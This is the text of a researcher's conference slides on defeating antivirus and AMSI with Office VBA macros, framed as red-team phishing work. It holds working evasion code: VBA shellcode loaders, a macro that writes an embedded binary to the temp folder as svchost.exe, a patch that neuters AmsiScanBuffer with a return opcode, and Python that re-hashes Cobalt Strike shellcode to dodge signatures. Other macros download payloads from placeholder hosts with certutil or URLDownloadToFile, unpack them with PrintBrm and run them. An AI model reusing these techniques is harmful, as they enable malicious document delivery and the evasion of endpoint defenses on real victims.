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Who Am I

Working on Singapore’s cybersecurity.

Malware/EDR Researcher

Team Demon Leader 



Agenda

1. Motivation

2. Preliminary Investigation

3. Introduce, VBA

4. Introduce, AMSI

5. Research, AMSI



Motivation

Evaluation

- Measure the AV/EDR’s Performance

- Depth of MS Macro Detection



Motivation

Business

- To handle a red-team project (Phishing)



Preliminary Investigation

“Visual C++” Debugging Easy



Preliminary Investigation

Can Visual Basic 6.0 analysis via a debugger?



Preliminary Investigation
Information Gathering (To use the API CALL)

Anti-Malware Scan Interface (AMSI.dll)

Client Virtualization Subsystems (AppvlsvSubsystems64.dll)

COM+ Configuration Catalog (dbcatq.dll)

Data Protection API (dpapi.dll)

Internet Extensions for Win32 (wininet.dll)

IOfficeAntiVirus Module (MpOAV.dll)

Microsoft .NET Runtime Execution Engines 

MS Office components (Various DLL)

Windows Sockets Service Provider / Windows HTTP Services / Windows NT Base



Preliminary Investigation
Information Gathering (Process Monitor)

HKLM\SOFTWARE\Microsoft\Office\ClickToRun

HKLM\HARDWARE\DEVICE\VIDEO

HKCU\SOFTWARE\Microsoft\Avalon.Graphics

HKCU\Software\Microsoft\Office\16.0\ExcelResiliency\DocumentRecovery

TCP Send: 52.98.50.66

Msxml6.dll 

Mso98win32client.dll

Amsi.dll



Introduce, VBA

Module

Skeleton

UserForm

Class Module

Extension: frm

Extension: bas

Extension: cls



Introduce, VBA
IDEA

We can use the UserForm as a resource section



Introduce, VBA
IDEA

We can handle the shellcode or real application bytes data through the VBA

Why? This is because VBA can officially declare a Windows API.

Option Explicit

#If Win64 Then
Private Declare PtrSafe Sub RtlMoveMemory Lib "kernel32" (ByVal lDestination As LongPtr, ByVal sSource As LongPtr, ByVal lLength As Long)
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) 

As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "kernel32" (lpAddress As LongPtr, ByVal dwSize As LongPtr, ByVal flNewProtect As LongPtr, lpflOldProtect As LongPtr) 

As Long
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As LongPtr, Mlgstptp As Long, ByVal Bydro As Long,

Rny As Long) As LongPtr

Private Declare PtrSafe Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, ByVal lpBuffer As LongPtr, ByVal nSize As 
Long, ByVal lpNumberOfBytesWritten As LongPtr) As Long
#Else

Private Declare Sub RtlMoveMemory Lib "kernel32" (ByVal lDestination As Long, ByVal sSource As Long, ByVal lLength As Long)
Private Declare Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As 

LongPtr
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, ByVal

lpNumberOfBytesWritten As LongPtr) As Long
Private Declare Function VirtualProtect Lib "kernel32" (lpAddress As Long, ByVal dwSize As Long, ByVal flNewProtect As Long, lpflOldProtect As Long) As Long
Private Declare Function CreateThread Lib "kernel32" (ByVal Fkfpnhh As Long, ByVal Xref As Long, ByVal Jxnj As Long, Mlgstptp As Long, ByVal Bydro As Long, Rny As Long) 

As Long
'Private Declare Function shellExecute Lib "kernel32" Alias "EnumSystemCodePagesW" (ByVal lpCodePageEnumProc As Any, ByVal dwFlags As Any) As Long

#End If



Introduce, VBA
Limitation

The UserForm section is easily exposed by researchers.

get_hexa = UserForm1.dataset.Caption  # Saved Binary

newPath = get_tmpFolder
newPath = newPath & "\svchost.exe"

'set_newFile = fso.Create

Dim b As Variant
Dim nFileNum As Integer
Dim sFilename As String
Dim strFileExist As String
strBytes = get_hexa

sFilename = newPath
nFileNum = FreeFile

' If file exist
strFileExist = Dir(sFilename)

If strFileExist = "" Then
Open sFilename For Binary Lock Read Write As #nFileNum

For Each b In Split(strBytes)
' No byte position is specified so writing begins at byte 1
Put #nFileNum, , CByte("&h" & b)

Next



Introduce, VBA
IDEA

Set the shellcode into the VBA module, Each 1 Byte

The original Cobalt Strike shellcode Testing 

Find new virtual address with VirtualAddress



Introduce, AMSI
Are you malicious code on Windows? Come on. I will catch you!
Powershell and VBA are composed of AMSI.
Stream Scanning, Content Source URL/IP



Introduce, AMSI
According to MS official page, two functions were revealed

Information Gathering (To use the API CALL)

AmsiCLoseSession

AmsiInitialize

AmsiNotifyOperation

AmsiOpenSession

AmsiScanBuffer

AmsiScanString

AmsiUacInitize

AmsiUacScan ,,,



Research, AMSI
When I clicked the Macro running button, the Excel file was interrupted by an amsi.dll. 



Research, AMSI



Research, AMSI



Research, AMSI

LIST

Shell
ShellExecute
VirtualAlloc

RetVirtualAddr
GetProcAddress …



TEST, GetProcAddress



TEST, GetProcAddress



TEST, Flow Chart



TEST, Flow Chart



TEST, Flow Chart

AmsiScanString func

C3

Vbe7.dll ntdll.dll

MOV CL, byte ptr
ds:[ECX]

EXCEPTION_ACCES
S_VIOLATION



TEST, Flow Chart



TEST, Flow Chart

AMSI.dll -> mpoav.dll(MpAmsiScan)->mpclient.dll->AMSI.dll->mpclient.dll-
>AMSI.dll(Copy OFFICE_VBA string through the memcpy function)

IMpService77BDAF73-B396-481F-9042-AD358843EC24



Reversing, AMSI
AmsiScanString

HRESULT __stdcall AmsiScanString(
HAMSICONTEXT amsiContext,
LPCWSTR string,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result)

{
if ( string && result )
return AmsiScanBuffer(amsiContext, (PVOID)string, 2 * wcslen(string), 

contentName, amsiSession, result);
else
return 0x80070057; // error code

}



AmsiScanString -> AmsiScanBuffer if ( RequestContext != &RequestContext && (*((_BYTE *)RequestContext + 28) & 4) != 0

)
sub_10005BA9( // traceMessage

*((_QWORD *)RequestContext + 2),
(char)amsiContext,
(char)buffer,
length,
(char)amsiSession,
(char)result);

if ( !buffer )
return 0x80070057; // err code

if ( !length )
return 0x80070057;

if ( !result )
return 0x80070057;

if ( !amsiContext )
return 0x80070057;

v6 = *((_DWORD *)amsiContext + 1);
if ( !v6 )

return 0x80070057;
v7 = *((_DWORD *)amsiContext + 2);
if ( !v7 )

return 0x80070057;
v9[1] = (int)buffer;
v9[4] = (int)contentName;
v9[5] = (int)amsiSession;
v9[3] = v6;
v9[0] = (int)&CAmsiBufferStream::`vftable';
v9[2] = length;
return (*(int (__thiscall **)(_DWORD, int, int *, AMSI_RESULT *, _DWORD))(*(_DWORD 

*)v7 + 12))(
*(_DWORD *)(*(_DWORD *)v7 + 12),
v7,
v9,
result,
0);

}

0x80070057 – Error Code (MS)



AmsiScanString && AmsiScanBuffer 32bits

Address : Virtual Address == Randomised address area

However, the OPCODE did not change. 



AmsiScanString && AmsiScanBuffer 64bits

Address : Virtual Address == Randomised address area

However, the OPCODE did not change. 



OPCODE Basic class (aka. Easy Level Hooking)

Return instruction?

NOP Sled?

Change the condition?

ScanBufferMagicBytes = "8BFF558BEC83EC18"
ScanStringMagicBytes = "8BFF558BEC8B550C"

TrvOffset = 21664 ' AmsiScanBuffer
Success = 0

LeakedAmsiDllAddr = LoadDll("amsi.dll") 
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr,
TrvOffset)

InstructionInStringOffset = InStr(LeakedBytesBuffer,
ScanBufferMagicBytes)

If InstructionInStringOffset = 0 Then
Debug.Print ("Opcode is already changed")

Else
AmsiScanBufferPatchAddr = LeakedAmsiDllAddr +

TrvOffset
size = 1
result = VirtualProtect(ByVal

AmsiScanBufferPatchAddr, size,
PAGE_EXECUTE_READWRITE, 0)

ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 
1, Val("&H" & "C3")
End If



Default Cobalt Strike Payload was detected by a Windows Defender 

How red team can get an original binary file?

Try to break the File Signature to download.

Guess the chrome downloader’s detection logic. 
* Related to the file signature. 

Bypass Scenario



Cobalt Strike: Every day same opcode except for the C2 IP address.

It meant if we change some logic, It is possible to bypass detection may be.

Cobalt Strike Main Keyword

1. Binary Type 
1. Make Pipe
2. CreateThread
3. XORed shellcode
4. XOR 4 bytes hardcoded
5. WIN32 API related to Virtual address (VirtualAlloc, VirtualProtect)

2. ShellCode Type 
1. Initialisation (CLD) 
2. Packer
3. ROR edi, 0xD (32bits) && ROR ecx,0xD (64bits)
4. Hash algorithm (DLL name + API name) 
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Cobalt Strike: Every day same opcode except for the C2 IP address.

It meant if we change some logic, It is possible to bypass detection may be.

Cobalt Strike Main Keyword

1. Binary Type 
1. Make Pipe
2. CreateThread
3. XORed shellcode
4. XOR 4 bytes hardcoded
5. WIN32 API related to Virtual address (VirtualAlloc, VirtualProtect)

2. ShellCode Type 
1. Initialisation (CLD) 
2. Packer
3. ROR edi, 0xD (32bits) && ROR ecx,0xD (64bits)
4. Hash algorithm (DLL name + API name) 
5. Download another binary (Reflective DLL)



Simple Design about the Cobalt Strike Binary



Simple Design about the Cobalt Strike Binary



Cobalt Strike: Every day same opcode except for the C2 IP address.

It meant if we change some logic, It is possible to bypass detection may be.



I chose the modification Shell code Type instead of the Binary Type.

First of all, How can I recognise the shellcode has a hash algorithm.

Googling is important when we research cyber security.

10a:    57                      push   edi
10b:    6a ff                   push   0xffffffff
10d:    53                      push   ebx
10e:    56                      push   esi
10f:    68 2d 06 18 7b          push   0x7b18062d
114:    ff d5                   call   ebp
116:    85 c0                   test   eax,eax
118:    0f 84 ca 01 00 00       je     0x2e8
11e:    31 ff                   xor edi,edi
120:    85 f6                   test   esi,esi
122:    74 04                   je     0x128
124:    89 f9                   mov    ecx,edi
126:    eb 09                   jmp 0x131
128:    68 aa c5 e2 5d          push   0x5de2c5aa
12d:    ff d5                   call   ebp
12f:    89 c1                   mov    ecx,eax
131:    68 45 21 5e 31          push   0x315e2145
136:    ff d5                   call   ebp

Metasploit-framework == Cobalt Strike shellcode



You can see the hash algorithm below. 

MAX_VALUE = 0xFFFFFFFF
INT_BITS = 32

ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

def HashString(name, bApi, enc):
if bApi:

name += "\x00"
else:

name = "\x00".join([name[i:i+1] for i in range(0, len(name),1)])
name += "\x00" * 3 # only [0] is not affect by '\x00' 
name = name.upper() 

value = 0

for char in name:
value = ror(value,enc,32) # ROR13 is original 
value += ord(char) 

return value

value = hex(winAPIHash.HashString(dllname,False,0xD) + 
winAPIHash.HashString(symbol_name,True,0xD)&winAPIHash.MAX_VALUE)



Using new ROR data

def X86_change_ROR(dummy,num):
default_ROR = 0xdcfc1
default_ROR = hex_lsb(default_ROR)

dest = str(hex(num)).replace("0x","")
dest += "cfc1"
dest = int(dest, 16)

dest = hex_lsb(dest)
dummy = 

convert_opcode(dummy,default_ROR,dest)
return dummy

def hex_lsb(number):
hex_str = hex(number)[2:] 
try:

hex_str_lsb = '\\x'.join([hex_str[i-
2:i] for i in range(len(hex_str),0,-2)])

if(len(hex_str) % 2 != 0):
hex_str_lsb += "0"
hex_str_lsb += hex(number)[2:3]

return '\\x' + hex_str_lsb
except ValueError as e:

print(e)
return ''

def convert_opcode(dummy,src,dest):
src_ret = []
dest_ret = []
tmp = split_data(src)
tmp2 = split_data(dest)
src_bytes = convert_str_list(tmp)
dest_bytes = convert_str_list(tmp2)
dummy_result = 

bytes(dummy.replace(src_bytes,dest_bytes))
return dummy_result



Bypass Windows Defender



AMSI with lolbas (Living Off The Land Binaries, Scripts and Libraries)

addfile = "certutil -urlcache -f "
addfile = addfile & "http://X.X.X.X/server/lync.zip "
addfile = addfile & Environ("Temp")

Shell (addfile) ' Not detected..!

Dim PrintBrm As String
PrintBrm = "C:\Windows\System32\spool\tools\PrintBrm.exe -r -f "
PrintBrm = PrintBrm & Environ("Temp")
PrintBrm = PrintBrm & "\lync.zip "
PrintBrm = PrintBrm & "-d "
PrintBrm = PrintBrm & Environ("Temp")
PrintBrm = PrintBrm & "\unzip"

Debug.Print (PrintBrm)
Shell (PrintBrm)
Sleep(5000)
Dim ShellCommand As String
ShellCommand = Environ("Temp")
ShellCommand = ShellCommand & "\unzip\lync.exe"
Debug.Print (ShellCommand)
Shell (ShellCommand)
End Function



AMSI with lolbas

Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" (ByVal pCaller As Long, _
ByVal szURL As String, ByVal szFileName As String, _
ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

src = "http://X.X.X.X/cmd.cab "
dlpath = temp
dlpath = dlpath & "\"

URLDownloadToFileA 0, src, dlpath & "cmd.cab", 0, 0

doubleChk = Environ("Temp")
doubleChk = doubleChk & "\cmd.cab"

fileExist = Dir(doubleChk)
If fileExist = "" Then

Exit Function
End If

Dim PrintBrm As String
PrintBrm = "C:\Windows\System32\spool\tools\PrintBrm.exe -r -f "
PrintBrm = PrintBrm & Environ("Temp")
PrintBrm = PrintBrm & "\cmd.cab "
PrintBrm = PrintBrm & "-d "
PrintBrm = PrintBrm & Environ("Temp")
PrintBrm = PrintBrm & "\unzip"

Debug.Print (PrintBrm)
Shell (PrintBrm)
Sleep (5000)
Dim ShellCommand As String
ShellCommand = Environ("Temp")
ShellCommand = ShellCommand & "\unzip\cmd.exe"
Debug.Print (ShellCommand)
Sleep (5000)
Shell (ShellCommand)

End Function

makecab “\\X.X.X.X\Shared Folder\cmd.exe .\cmd.cab



Demo – ESET Antivirus



Demo – ESET Antivirus



Demo – ESET Antivirus



Demo – ESET Antivirus

NtAllocateVirtualMemory
NtWriteVirtualMemory

NtProtectVirtualMemory



Demo – ESET Antivirus



Limitation



Limitation
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